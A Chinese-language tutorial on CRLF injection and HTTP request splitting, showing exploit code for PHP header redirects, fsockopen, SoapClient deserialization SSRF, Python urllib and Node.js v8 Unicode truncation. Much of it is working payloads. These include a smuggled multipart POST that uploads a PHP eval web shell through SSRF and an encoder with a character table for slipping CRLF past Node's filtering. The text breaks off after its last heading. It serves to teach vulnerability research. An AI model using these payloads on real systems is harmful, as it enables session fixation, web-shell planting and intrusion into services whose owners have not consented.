HTTP报文由三部分组成:状态行(请求行 | 响应行)、首部、主体。也有些书籍说是由首部和主体两部分组成,状态行包含在首部中,但绝大多数的说法是由三部分组成。
HTTP报文可以分为请求报文和响应报文;请求报文向服务器传达请求,响应报文将请求的结果返回给客户端。以下两图,分别是请求报文以及响应报文的结构图。
HTTP报文以状态行开始,请求报文中的状态行叫请求行,响应报文中的状态行叫响应行。请求行由==请求方法、URL、协议版本==组成,这些字段都由空格分隔
请求行表明要对哪个资源执行哪个方法,具体有哪些请求方法。
OPTIONS
查询资源支持的方法。用于查询URL指定的资源支持哪些方法,资源支持哪些方法,会在响应包的Allow字段中显示。
响应行由==协议版本、状态码、原因短语==(状态码描述)组成。这些字段同样都由空格分隔。
响应行表明了服务器对请求的处理结果,由状态码体现。值得注意的是,原因短语是数字状态码的可读版本,描述数字状态码的含义,便于人理解,只对人有意义,因此以下两种响应行都会被当作成功处理。
HTTP/1.0 200 NOT OK
HTTP/1.0 200 OK
另外请求行和响应行中都包含HTTP版本号,其格式为
HTTP/<major>.<minor> //major是主版本号,minor是次版本号,使用版本号的目的是规范双方之间通信的格式
重点:需要有http请求,才能利用crlf,要不然没法将构造的数据包发出去
CRLF 指的是回车符(CR,ASCII 13,\r,%0d)
和换行符(LF,ASCII 10,\n,%0a)
的简称(\r\n
)
在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。
所以,一旦我们能够控制 HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些恶意的HTTP Header,如会话Cookie,甚至可以注入一些HTML代码。这就是CRLF注入漏洞的核心原理。
在实际应用中,如果Web应用没有对用户输入做严格验证,便会导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出,所以CRLF注入漏洞又称为HTTP响应拆分漏洞(HTTP Response Splitting),简称HRS。
Location: baidu.com
这种方式来进行302跳转,如果我们能控制 Location:
后面的某个网址的URL,就可以进行HRS攻击。<?php if(isset($_GET["url"])){. header("Location:".$_GET['url']); exit; }
/?url=https://whoamianony.top
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content- Type: text/html Content-Length: 154 Connection: close Location: https://whoamianony.top
/url=https://whoamianony.top%0d%0aPHPSESSID=whoami
,注入了一个换行。将修改后的请求包提交给服务器端,查看服务器端的响应。此时的返回包的响应头就会变成这样:HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content- Type: text/html Content-Length: 154 Connection: close Location: https://whoamianony.top Set-Cookie: PHPSESSID=whoami
https://whoamianony.top%0d%0aSet-Cookie: PHPSESSID=whoami
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content- Type: text/html Content-Length: 154 Connection: close Location: https://whoamianony.top%0d%0aSet-Cookie: PHPSESSID=whoami
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content- Type: text/html Content-Length: 154 Connection: close Location: https://whoamianony.top Set-Cookie: PHPSESSID=whoami
PHPSESSID=whoami
设置成Cookie。fsockopen($hostname,$port,$errno,$errstr,$timeout)
用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。
fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。
测试代码:
<?php $host=$_GET['url']; $fp = fsockopen($host, 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } ?>
首先我们尝试访问正常的url:
/?url=47.xxx.xxx.72:4000
下面我们尝试插入 CRLF:
/?url=47.xxx.xxx.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami
这是由于,此时服务端接收到的url参数值是我们修改后的:
/?url=47.xxx.xxx.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami
在url参数值拼接到 Host 字段值中,设置成响应头后,响应包此时应该是如下这样的:
GET / HTTP/1.1 Host: 47.xxx.xxx.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami Connection: Close
前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为 Host 首部字段这行结束了,Set-Cookie就会被认为是下一行,如下所示:
GET / HTTP/1.1 Host: 47.xxx.xxx.72:4000 Set-Cookie: PHPSESSID=whoami Connection: Close
而我们构造的 Set-Cookie 字符在 HTTP 中是一个设置 Cookie 的首部字段,这个时候就会将PHPSESSID=whoami
设置成 Cookie。
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。
该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
知道上述两个参数的含义后,我们首先来发起一个正常的HTTP请求:
<?php $a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:4000/aaa', 'uri'=>'http://47.xxx.xxx.72:4000')); $b = serialize($a); echo $b; $c = unserialize($b); $c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf ?>
<?php $target = 'http://47.xxx.xxx.72:4000/'; $a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nSet-Cookie: PHPSESSID=whoami", 'uri' => 'test')); $b = serialize($a); echo $b; $c = unserialize($b); $c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf ?>
如下图所示,VPS 上监听到了请求,成功在HTTP头中插入了一个我们自定义的 cookie:
这是由于,此时服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:
POST / HTTP/1.1 Host: 47.xxx.xxx.72:4000 Connection: Keep-Alive User-Agent: WHOAMI%0d%0aSet-Cookie: PHPSESSID=whoami Content-Type: text/xml; charset=utf-8 SOAPAction: "test#a" Content-Length: 365
前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为 User-Agent 首部字段这行结束了,Set-Cookie就会被认为是下一行,如下所示:
POST / HTTP/1.1 Host: 47.xxx.xxx.72:4000 Connection: Keep-Alive User-Agent: WHOAMI Set-Cookie: PHPSESSID=whoami Content-Type: text/xml; charset=utf-8 SOAPAction: "test#a" Content-Length: 365
而我们构造的 Set-Cookie 字符在 HTTP 中是一个设置 Cookie 的首部字段,这个时候就会将 PHPSESSID=whoami 设置成 Cookie。
在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,所以我们要发送 POST 数据就要插入两个CRLF。
对于如何发送POST的数据包,这里面还有一个坑,就是 Content-Type
的设置,因为我们要提交的是POST数据,所以 Content-Type
的值我们要设置为 application/x-www-form-urlencoded
,这里如何修改 Content-Type
的值呢?由于 Content-Type
在 User-Agent
的下面,所以我们可以通过 SoapClient
来设置 User-Agent
,将原来的 Content-Type
挤下去,从而再插入一个新的 Content-Type
。
测试代码如下:
<?php $target = 'http://47.xxx.xxx.72:4000/'; $post_data = 'data=whoami'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $a = new SoapClient(null,array('location' => $target,'user_agent'=>'WHOAMI^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test')); $b = serialize($a); $b = str_replace('^^',"\n\r",$b); echo $b; $c = unserialize($b); $c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf ?>
VPS 上监听到了 POST 数据:
这是由于服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:
POST / HTTP/1.1 Host: 47.xxx.xxx.72:4000 Connection: Keep-Alive User-Agent: WHOAMI%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aCookie: PHPSESSID=3stu05dr969ogmprk28drnju93%0d%0aContent-Length: 11%0d%0a%0d%0adata=whoami Content-Type: text/xml; charset=utf-8 SOAPAction: "test#a" Content-Length: 365
前面我们讲到,HTTP规范中,HTTP 首部中每个首部字段以一个CRLF分隔,首部和主体由两个CRLF分隔。这样,当%0d%0a和%0d%0a%0d%0a分别被解析为 HTTP 首部字段的结尾和 HTTP 首部的结尾,最终的HTTP请求便成了如下这样:
POST / HTTP/1.1 Host: 47.xxx.xxx.72:4000 Connection: Keep-Alive User-Agent: WHOAMI Content-Type: application/x-www-form-urlencoded X-Forwarded-For: 127.0.0.1 Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93 Content-Length: 11 data=whoami Content-Type: text/xml; charset=utf-8 SOAPAction: "test#a" Content-Length: 365
Python是一套开源的、面向对象的程序设计语言。该语言具有可扩展、支持模块和包、支持多种平台等特点。urllib
是其中的一个用于处理URL的模块。urllib2
是其中的一个用于获取URL(统一资源定位符)的模块。
Python 2.x
版本至2.7.16
版本中的urllib2
和Python 3.x
版本至3.7.2
版本中的urllib
存在注入漏洞。该漏洞源于用户输入构造命令、数据结构或记录的操作过程中,网络系统或产品缺乏对用户输入数据的正确验证,未过滤或未正确过滤掉其中的特殊元素,导致系统或产品产生解析或解释方式错误。简单来说,就是urlopen()处理URL的时候没有考虑换行符,导致我们可以在正常的HTTP头中插入任意内容。
该漏洞早在2016年就被爆出(CVE-2016-5699)
,在之后的一段时间里不断爆出了python其他版本也存在该漏洞(CVE-2019-9740、CVE-2019-9947)
。
影响范围:
测试代码:
#!python #!/usr/bin/env python3 import urllib import urllib.request import urllib.error # url = "http://47.xxx.xxx.72:4000 url = "http://47.xxx.xxx.72:4000?a=1 HTTP/1.1\r\nCRLF-injection: True\r\nSet-Cookie: PHPSESSID=whoami" # ?a=1 后面的那个HTTP/1.1是为了闭合正常的HTTP状态行 try: info = urllib.request.urlopen(url).info() print(info) except urllib.error.URLError as e: print(e)
执行代码后,VPS 上会监听到如下HTTP头:
如上图所示,成功引发了CRLF漏洞。
这是由于服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:
GET /?a=1 HTTP/1.1%0d%0aCRLF-injection: True%0d%0aSet-Cookie: PHPSESSID=whoami HTTP/1.1 Accept-Encoding: identity Host: 47.xxx.xxx.72:4000 User-Agent: Python-urllib/3.7 Connection: close
此时,HTTP 状态行中出现了%0d%0a,便会被解析为HTTP首部字段的结束并成功插入我们定制的HTTP首部字段。最终HTTP请求变成了下面这样:
GET /?a=1 HTTP/1.1 CRLF-injection: True Set-Cookie: PHPSESSID=whoami HTTP/1.1 Accept-Encoding: identity Host: 47.xxx.xxx.72:4000 User-Agent: Python-urllib/3.7 Connection: close
首先,由于 Python Urllib
的这个 CRLF
注入点在 HTTP 状态行,所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 HTTP/1.1
,即保证注入后有正常的 HTTP 状态行。其次为了不让原来的 HTTP/1.1
和 Host 字段影响我们新构造的请求,我们还需要再构造一次 GET /
闭合原来的 HTTP 请求。
假设目标主机存在SSRF,需要我们在目标主机本地上传文件。下面尝试构造如下这个文件上传的完整 POST 请求:
POST /upload.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 437 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4 Connection: close ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000 ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: application/octet-stream <?php eval($_POST["whoami"]);?> ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="Upload" Upload ------WebKitFormBoundaryjDb9HMGTixAA7Am6--
编写脚本构造payload:
payload = ''' HTTP/1.1 POST /upload.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 435 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4 Connection: close ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000 ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: application/octet-stream <?php eval($_POST[whoami]);?> ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="Upload" Upload ------WebKitFormBoundaryjDb9HMGTixAA7Am6-- GET / HTTP/1.1 test:'''.replace("\n","\\r\\n") print(payload) # 输出: HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php eval($_POST[whoami]);?>\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:
然后构造请求:
#!python #!/usr/bin/env python3 import urllib import urllib.request import urllib.error # url = "http://47.xxx.xxx.72:4000 url = 'http://47.xxx.xxx.72:4000?a=1 HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php eval($_POST[whoami]);?>\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:' # ?a=1 后面的那个HTTP/1.1是为了闭合正常的HTTP状态行 try: info = urllib.request.urlopen(url).info() print(info) except urllib.error.URLError as e: print(e)
我们来分析一下http拆分攻击的过程:
如果不进行攻击,我们正常的请求数据应该是这样的:
GET / HTTP/1.1 Host: 47.xxx.xxx.72:4000
当我们插入CRLF对http进行攻击了以后,数据变成了这个样子:
GET / HTTP/1.1 POST /upload.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 437 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6 ...... <?php eval($_POST["whoami"]);?> ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="Upload" Upload ------WebKitFormBoundaryjDb9HMGTixAA7Am6-- HTTP/1.1 Host: 47.xxx.xxx.72:4000
我们可以看到从GET后面的HTTP开始,到最后host之前的http,都为我们注入的内容,前面注入HTTP是为了闭合get内容,让我们下面的post请求能够完整,但是后面原本就有一个http标签,所以我们需要再构造一个get来进行闭合,这样就形成了三个请求包,分别结构完整:
GET / HTTP/1.1 POST /upload.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 437 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6 ...... <?php eval($_POST["whoami"]);?> ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="Upload" Upload ------WebKitFormBoundaryjDb9HMGTixAA7Am6-- GET / HTTP/1.1 test: HTTP/1.1 Host: 47.xxx.xxx.72:4000
虽然用户发出的 HTTP 请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的Unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,例如
这个表情。所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130
就会被截断为 \u30
:
刚才演示的那个 HTTP 请求路径中的 Unicode 字符损坏看似没有什么用处,但它可以在 nodejs 的 HTTP 拆分攻击中大显身手。
由于 nodejs 的 HTTP 库包含了阻止CRLF的措施,即如果你尝试发出一个URL路径中含有回车、换行或空格等控制字符的HTTP请求是,它们会被URL编码,所以正常的CRLF注入在nodejs中并不能利用:
> var http = require("http"); > http.get('http://47.xxx.xxx.72:4000/\r\n/WHOAMI').output [ 'GET /%0D%0A/WHOAMI HTTP/1.1\r\nHost: 47.xxx.xxx.72:4000\r\nConnection: close\r\n\r\n' ]
但不幸的是,上述的处理Unicode字符错误意味着可以规避这些保护措施。考虑如下的URL,其中包含一些高编号的Unicode字符:
> 'http://47.xxx.xxx.72:4000/\u{010D}\u{010A}/WHOAMI' http://47.xxx.xxx.72:4000/čĊ/WHOAMI
当 Node.js v8 或更低版本对此URL发出 GET
请求时,它不会进行编码转义,因为它们不是HTTP控制字符:
> http.get('http://47.xxx.xxx.72:4000/\u010D\u010A/WHOAMI').output [ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.xxx.xxx.72:4000\r\nConnection: close\r\n\r\n' ]
但是当结果字符串被编码为latin1
写入路径时,这些字符将分别被截断为 "\r"(%0d)
和"\n"(%0a)
:
> Buffer.from('http://47.xxx.xxx.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString() 'http://47.xxx.xxx.72:4000/\r\n/WHOAMI'
可见,通过在请求路径中包含精心选择的Unicode字符,攻击者可以欺骗Node.js并成功实现CRLF注入。
不仅是CRLF,所有的控制字符都可以通过这个构造出来。下面是我列举出来的表格,第一列是需要构造的字符,第二列是可构造出相应字符的高编号的Unicode码,第三列是高编号的Unicode码对应的字符,第四列是高编号的Unicode码对应的字符的URL编码:
字符 | 可由以下Unicode编码构造出 | Unicode编码对应的字符 | Unicode编码对应的字符对应的URL编码 |
---|---|---|---|
回车符 \r | \u010d | č | %C4%8D |
换行符 \n | \u010a | Ċ | %C4%8A |
空格 | \u0120 | Ġ | %C4%A0 |
反斜杠 \ | \u0122 | Ģ | %C4%A2 |
单引号 ' | \u0127 | ħ | %C4%A7 |
反引号 ` | \u0160 | Š | %C5%A0 |
叹号 ! | \u0121 | ġ | %C4%A1 |
这个bug已经在Node.js10中被修复,如果请求路径包含非Ascii字符,则会抛出错误。但是对于 Node.js v8 或更低版本,如果有下列情况,任何发出HTTP请求的服务器都可能受到通过请求拆实现的SSRF的攻击:
GET
或者 DELETE
)由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入恶意的 HTTP 首部字段的话还需要闭合状态行中 HTTP/1.1
,即保证注入后有正常的 HTTP 状态行:
> http.get('http://47.xxx.xxx.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami').output //[ 'GET /ĠHTTP/1.1čĊSet-Cookie:ĠPHPSESSID=whoami HTTP/1.1\r\nHost: 47.xxx.xxx.72:4000\r\nConnection: close\r\n\r\n' ]
如上图所示,成功构造出了一个 Set-Cookie 首部字段,虽然后面还有一个 HTTP/1.1
,但我们根据该原理依然可以将其闭合:
> http.get('http://47.xxx.xxx.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami\u010D\u010Atest:').output //[ 'GET /ĠHTTP/1.1čĊSet-Cookie:ĠPHPSESSID=whoamičĊtest: HTTP/1.1\r\nHost: 47.xxx.xxx.72:4000\r\nConnection: close\r\n\r\n' ]
首先,由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 HTTP/1.1
,即保证注入后有正常的 HTTP 状态行。其次为了不让原来的 HTTP/1.1
影响我们新构造的请求,我们还需要再构造一次 GET /
闭合原来的 HTTP 请求。
假设目标主机存在SSRF,需要我们在目标主机本地上传文件。我们需要尝试构造如下这个文件上传的完整 POST 请求:
POST /upload.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 437 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4 Connection: close ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000 ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: application/octet-stream <?php eval($_POST["whoami"]);?> ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="Upload" Upload ------WebKitFormBoundaryjDb9HMGTixAA7Am6--
为了方便,我们将这个POST请求里面的所有的字符包括控制符全部用上述的高编号Unicode码表示:
payload = ''' HTTP/1.1 POST /upload.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 437 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4 Connection: close ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000 ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: application/octet-stream <?php eval($_POST["whoami"]);?> ------WebKitFormBoundaryjDb9HMGTixAA7Am6 Content-Disposition: form-data; name="Upload" Upload ------WebKitFormBoundaryjDb9HMGTixAA7Am6-- GET / HTTP/1.1 test:'''.replace("\n","\r\n") def payload_encode(raw): ret = u"" for i in raw: ret += chr(0x0100+ord(i)) return ret payload = payload_encode(payload) print(payload) # 输出: ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįŵŰŬůšŤĮŰŨŰĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠĴijķčĊŃůŮŴťŮŴĭŔŹŰťĺĠŭŵŬŴũŰšŲŴįŦůŲŭĭŤšŴšĻĠŢůŵŮŤšŲŹĽĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįĹİĮİĮĴĴijİĮķIJĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹčĊŃůůūũťĺĠŐňŐœŅœœʼnńĽŮūĶķšųŴŶĶıŨűšŮųūūŤŤųŬūŧųŴĴčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢōŁŘşņʼnŌŅşœʼnŚŅĢčĊčĊıİİİİİčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŵŰŬůšŤťŤĢĻĠŦũŬťŮšŭťĽĢųŨťŬŬĮŰŨŰĢčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįůţŴťŴĭųŴŲťšŭčĊčĊļĿŰŨŰĠťŶšŬĨĤşŐŏœŔśĢŷŨůšŭũĢŝĩĻĿľčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŕŰŬůšŤĢčĊčĊŕŰŬůšŤčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶĭĭčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ
构造请求:
